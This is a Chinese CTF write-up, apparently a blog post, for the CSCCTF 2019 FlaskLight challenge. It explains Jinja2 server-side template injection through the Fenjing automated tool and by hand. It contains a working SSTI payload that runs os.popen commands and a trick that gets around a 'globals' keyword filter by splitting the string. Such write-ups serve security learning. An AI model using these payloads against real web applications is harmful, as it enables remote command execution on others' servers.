[CSCCTF 2019 Qual]FlaskLight (jinja2模版注入)

两种方法:

1.工具法

进来看见flask到处飘,估计就是ssti

ctrl+U打开发现两行注释提示GET方式传递参数search

这种有参数的我先直接丢fengjing扫了一下,结果还真搞出来,这工具还是挺牛的,就是没参数的时候搞不了

fengjing安装:项目地址:

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF (github.com)

下载好后安装requirements.txt,先cd到项目目录下

pip install -r requirements.txt -i https://pypi.mirrors.ustc.edu.cn/simple/

python -m fenjing webui

进入web界面输入前三个参数,表单输入就是刚才的search参数

最后下滑点击开始分析

分析完后右边会提示你输入可以输入命令自动生成payload

最终查看flag命令

cat /flasklight/coomme_geeeett_youur_flek

2.手工ssti

先判断是什么模版引擎,jinja还是twig

下面是判断模版注入的方法

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinjia2 模块

返回7777777表示是 Jinjia2 模块

输入{{config}}查看配置发现提示flag就在当前目录下

经过尝试发现是过滤了globals导致500状态码,使用字典访问符号['__g''lobals__']来绕过.运算符

或者中间加个+号也可以['__glo'+'bals__']

最终payload:(popen里面可以改变命令自己看看目录)

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('head /flasklight/coomme_geeeett_youur_flek').read()")}}

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值